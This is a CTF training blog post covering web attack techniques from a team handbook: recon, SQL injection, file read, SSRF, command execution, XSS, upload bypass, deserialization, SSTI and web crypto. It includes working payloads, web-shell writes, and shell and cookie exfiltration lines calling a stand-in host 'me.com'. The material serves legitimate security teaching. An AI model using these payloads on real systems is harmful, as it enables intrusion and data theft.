The training method behind a top Chinese CTF team: Part 2 web attacks
This is the second post on “Handbook for CTFers” by Nu1L. Part 1 gave the overview of the whole book (Part 1 overview). This post goes through how the book teaches web, the category it calls the easiest way in. The first three chapters are all web, and they build from simple recon up to bugs that live in the language itself. Every technique below is paired with the exact commands and payloads the book drills.
Summary
Web is the easiest category to start with. You do not need assembly or heavy maths, only a browser, a proxy like Burp, and patience. Start with the three basics the book opens on: find what the target leaks, inject into its database, and read files you are not meant to reach. Once those are automatic, most of web is joining them together.
Almost no real web challenge is a single bug. You chain them. Recon finds the source code, the source shows a weak query, the query leaks a password, the password opens the next door. Learn each bug on its own, then practise joining them. That habit is what the finals reward.
The territory
The book splits web into three tiers. Here is the whole map before the detail.
| # | Attack class | What it does | Tools |
|---|---|---|---|
| 1 | Recon | Finds leaked .git repos, backup files and debug pages | GitHacker, dirsearch |
| 2 | SQL injection | Reads the database through UNION, blind and error-based queries | sqlmap, Burp Suite |
| 3 | Arbitrary file read | Reads source and config via LFI, php filters and /proc | Burp Suite |
| 4 | SSRF | Reaches internal services, gopher to Redis or FastCGI for code execution | Gopherus |
| 5 | Command execution | Runs shell commands past space and keyword filters | Burp Suite |
| 6 | XSS and CSP bypass | Steals admin sessions, defeats a content security policy | XSS bot, browser |
| 7 | File upload | Plants a web shell past suffix and parser checks | Burp Suite |
| 8 | PHP deserialization | Builds a POP chain or uses phar to run code | phpggc |
| 9 | Python sandbox and SSTI | Escapes a sandbox, template injection to the flag | Python |
| 10 | Crypto in web | ECB, CBC bit-flipping, padding oracle, hash length extension | padding-oracle, hashpump |
| 11 | Logic flaws | Authorization bypass, price tampering, OAuth binding abuse | Burp Suite |
The basics: recon, injection, file read
Recon
The book opens web with a proverb, knowledge precedes victory. Before any attack you map what the target leaks. The two tools you reach for are GitHacker for an exposed version-control folder and dirsearch for hidden files.
# pull a .git directory the developer forgot to delete
githacker --url http://target/.git/ --output-folder loot
cd loot && git log --all && git reflog # secrets hide in old commits
git diff HEAD~3 # or in a reverted change
# brute force for backups and editor leftovers
dirsearch -u http://target -e php,zip,bak,swp
Common finds are www.zip, an .index.php.swp you recover with vim -r, robots.txt, and a ThinkPHP debug page that prints the framework version. One of the book's cases starts exactly here: a .git folder hands over the full source, and everything after it is reading that source for the real bug.
SQL injection
MySQL only, by design. You start manual to understand the query, then let sqlmap grind. UNION is the first choice because it prints data straight onto the page.
-- enumerate tables, then dump the password column
?id=-1 union select 1,group_concat(table_name),3
from information_schema.tables where table_schema=database()
?id=-1 union select 1,group_concat(username,0x7e,password),3 from users
When the output is hidden you fall back to blind injection. Boolean blind reads one bit at a time; time blind does the same when even the true/false signal is gone; error-based leaks through a database error message.
-- boolean: is the first flag byte greater than 'M' (77)?
?id=1 and ascii(substr((select flag from f),1,1))>77
-- time: sleep only when the guess is right
?id=1 and if(ascii(substr(database(),1,1))=115,sleep(3),0)
-- error: leak through an XPath error
?id=1 and updatexml(1,concat(0x7e,(select database())),1)
sqlmap automates all four. Save the request from Burp and hand it over.
sqlmap -r req.txt --batch --dbs
sqlmap -r req.txt -D ctf -T users --dump
When a filter blocks keywords, the book's bypasses are case (sEleCT), inline version comments (/*!50000select*/), nesting that survives one strip (SELSELECTECT), and %09 or /**/ for a blocked space. A stacked query on PDO writes a web shell outright: ;select '<?php eval($_POST[0]);?>' into outfile '/var/www/html/s.php'.
Arbitrary file read
The point is to read source and config you should not see. The sharpest trick is the PHP filter wrapper, which base64-encodes a PHP file so you get the code without running it.
# read PHP source instead of executing it
?file=php://filter/convert.base64-encode/resource=config.php
# then decode locally: echo '<base64>' | base64 -d
After that it is well-known absolute paths. The book lists the ones that pay off.
/etc/passwd # users and home directories
/proc/self/environ # app SECRET_KEY and env vars
/proc/<pid>/cmdline # 'mysql -p<password>' sits here in plaintext
/var/log/nginx/access.log # other players' requests
~/.ssh/id_rsa ~/.bash_history
A classic server-side version is an Nginx alias with a missing trailing slash, which turns /static../ into a traversal out of the web root. Burp Intruder fuzzes the ../ depth for you.
The advanced tier: SSRF, command execution, XSS, upload
SSRF
Server-side request forgery makes the server fetch a URL for you, which reaches services bound to localhost that you could never hit directly. The book treats gopher:// as the heavy weapon because it sends arbitrary bytes over TCP, enough to speak Redis or FastCGI. Gopherus builds those payloads.
# probe an internal Redis with dict://
?url=dict://127.0.0.1:6379/info
# Gopherus writes a Redis cron reverse shell as a gopher URL
gopherus --exploit redis
# paste its output into the parameter:
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A...
# or go straight to PHP-FPM for code execution
gopherus --exploit fastcgi
Filters that block internal IPs fall to encoding: decimal 2130706433, 127.0.0.1.xip.io, a 302 redirect from your own server, or DNS rebinding with a TTL of zero. The book's netcup 2019 easy_python case chains a Python urllib CRLF bug (CVE-2019-9740) into Redis, then Redis master-slave replication into full code execution.
Command execution
Once you can run one command, the filter tries to stop the obvious ones. The book's kit is bypassing spaces, keywords, and the missing echo.
cat$IFS$9/flag # $IFS$9 stands in for a space
{cat,/flag} # brace expansion, no space needed
/???/c?t /fl* # wildcards dodge a keyword blacklist
a=c;b=at;$a$b /flag # split the word 'cat' so it is never typed
When the output never comes back, you exfiltrate it. HTTP and DNS are the channels.
curl http://me.com/$(whoami) # out over HTTP
ping -c1 `whoami`.me.com # out over DNS, read it in your logs
The famous case is HITCON BabyFirst Revenge, where each command is capped at five characters. The solve writes filenames with ls -t>g so their time order spells out curl ip|sh, then runs the lot.
XSS and CSP bypass
In CTF, cross-site scripting usually means stealing an admin bot's cookie. You post a payload, the bot visits, its cookie comes to you.
<img src=x onerror="this.src='//me.com/?c='+document.cookie">
<!-- filter strips the word 'script'? nest it so one strip leaves it intact: -->
<scrSCRIPTipt>alert(1)</scrSCRIPTipt>
<!-- attribute context, entity-encoded so the filter misses it: -->
" onfocus="alert(1)" autofocus="
A content security policy of script-src 'self' looks safe until you find a same-origin file you control. Upload a text file full of JavaScript and load it as a script, or abuse a JSONP endpoint whose callback you choose.
<script src="/upload/me.txt"></script> <!-- same origin, CSP allows it -->
<script src="/api/jsonp?callback=alert"></script>
0CTF 2017 Complicated XSS is the book's worked example: a cookie set across two subdomains, plus an iframe to slip past the filter.
File upload
The goal is a web shell; the defense is a check on the file. The book sorts the bypasses by what the check actually looks at.
shell.phtml shell.pHp shell.php5 # blacklist misses a variant
shell.php.jpg # Apache reads suffixes right to left
shell.php%0a (CVE-2017-15715) # '$' in a FilesMatch regex eats a newline
# an .htaccess that makes .jpg run as PHP:
AddHandler php5-script .jpg
# a .user.ini, no shell suffix needed at all:
auto_prepend_file=avatar.jpg
If the server checks for a real image, prepend the magic bytes and hide <?php after them; getimagesize passes and the file still runs. If a <?php exit();?> guard is written in front of your content, the book's trick is php://filter/write=convert.base64-decode, which drops the guard characters during the decode. Burp is where you tamper the filename and Content-Type.
The extended tier: language-feature bugs
PHP deserialization
unserialize() on attacker input rebuilds objects, and PHP's magic methods (__destruct, __wakeup, __toString) then run your data through code the app never meant you to reach. Finding a chain of calls that ends at eval or file_put_contents is the work; phpggc ships the known ones.
# generate a ready-made gadget chain for a known library
phpggc Guzzle/FW1 system id
phpggc Laravel/RCE9 system id
Two book tricks matter. phar:// triggers deserialization through any file operation on a phar you disguised as a GIF, so even file_exists() becomes an exploit. And CVE-2016-7124 skips __wakeup when you set the object's property count higher than the real number, which defeats a very common fix.
Python sandbox and template injection
Server-side template injection is the Python equivalent of SQLi for ease of flag. In Jinja2 you walk from any object up to its base class and back down to something dangerous.
{{ config }} # often leaks SECRET_KEY on its own
{{ ''.__class__.__mro__[1].__subclasses__() }} # find subprocess.Popen in the list
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# keyword filter in the way? route it through request:
{{ ()|attr(request.args.c) }}&c=__class__
When the challenge hands you a sandbox or a pickle load, the escape is __reduce__, which tells pickle what to call as it rebuilds the object.
class E:
def __reduce__(self):
return (os.system, ('curl me.com|sh',))
The book's mmmmy case from NetDing 2018 is SSTI under a heavy keyword filter, solved by building chr out of subclasses and reading /flag blind.
Crypto in web
The crypto that shows up in web challenges is almost always a cookie or a token the server encrypts badly. You do not break the cipher, you abuse how it was used. Four attacks cover most of it.
ECB encrypts each 16-byte block on its own, so identical plaintext blocks produce identical ciphertext blocks. Line your input up on a block boundary and you can copy an admin block from one place into another, or detect a repeated secret.
CBC bit-flipping is the one the book leans on. Flipping a byte in ciphertext block N scrambles block N when it decrypts, but flips the exact same bit position in block N+1's plaintext. So you corrupt one block you do not care about to turn role=user into role=root in the next, with no key.
# flip plaintext byte at position p (XOR into the PREVIOUS ciphertext block)
i = p - 16 # same offset, one block back
ct[i] ^= ord('u') ^ ord('r') # 'user' -> 'root', here flipping 'u'
# send the edited cookie back; the block you broke is throwaway padding or an IV
A padding oracle is any server that tells you, by error or timing, whether a decrypted block had valid PKCS#7 padding. That one bit of feedback lets you decrypt or forge a cookie one byte at a time, around 128 requests per block, without the key. Automate it rather than hand-roll the byte loop.
# pspaul/padding_oracle: give it the oracle and it decrypts or re-encrypts
python3 -c "from padding_oracle import *; print(decrypt(oracle, ct, 16))"
A token built as md5(secret + data) falls to hash length extension: you append &admin=1 and compute a valid signature without ever knowing the secret, because you only need its length and the published hash.
hashpump -s <known_sig> -d "user=guest" -a "&admin=1" -k <secret_len>
# prints the new data (with glue padding) and the forged signature
The book's stock cases are PicoCTF Secure Logon for the CBC flip and a length-extension cookie for hashpump. The tell is always the same: a cookie that looks like base64 of raw cipher, and a server that trusts it after decrypting.
Logic flaws
Logic flaws need no payload and no injection. The code runs exactly as written, the bug is that the rules are wrong. These are the challenges that do not light up any scanner, so the book treats reading the flow as the skill.
Broken object-level authorization is the common one. The server checks that you are logged in but never that the record is yours, so you walk other people's ids.
GET /api/order?id=1001 -> your order
GET /api/order?id=1002 -> someone else's order, same 200
Price and quantity tampering trusts a client value the client should not control. Negative quantities, a client-supplied price, or a coupon applied twice all live here.
POST /buy item=5&price=0&qty=-1 # negative qty credits your balance
Race conditions turn a one-time action into many: fire the same redeem or withdraw request in parallel so several pass the balance check before any of them writes. Burp Intruder with a single packet of parallel requests is the standard tool.
The book's set piece is the X-NUCA 2018 blog challenge, an OAuth account-binding bug. The binding callback carries the token on an open redirect, so you send the victim a link that binds their account to your identity, then log in as them. The fix and the break are both one line in the flow, which is the whole point of the category.
Practice beats theory
1. Recon decides the game. The flag is usually behind something the target already leaked: a .git folder, a backup zip, a debug page that prints the version. Look before you attack.
2. The language is the bug. PHP deserialization, Python sandbox escapes and template injection are language-feature bugs more than web bugs. Learn how PHP and Python actually run your code and they stop looking like magic.
3. Chain, do not hunt. One bug rarely reaches the flag. The finals reward the player who joins four small bugs into one path, so practise the joining, not just the parts.
Prepare for CTF with CyberLearner
Every web technique in these chapters has a lab you can try for free on CyberLearner.
- BahCoin. Recover a leaked .git repo with the recon above, run a boolean-blind SQL injection, then crack a truncated hash. The full recon-to-login chain in one lab.
- GateCrasher. Forge an admin token with a JWT weakness, then a UNION SQL injection reads the hidden system account.
- PathProwler. Arbitrary file read behind a weak
../filter, the exact bypass the file-read section teaches. - ForgeX. Server-side template injection, where
{{ config }}prints the flag. - HostTrick. An obscure forwarding header bypasses an admin-only check. A logic flaw, not a memory bug.
Browse the full set on the challenges page.
Next
Part 3 moves to reverse engineering and PWN: Part 3: reverse engineering and PWN.
Sources
- Nu1L team profile on CTFtime
- SQL injection, PortSwigger Web Security Academy
- Server-side request forgery, PortSwigger Web Security Academy
- Server-side template injection, PortSwigger Web Security Academy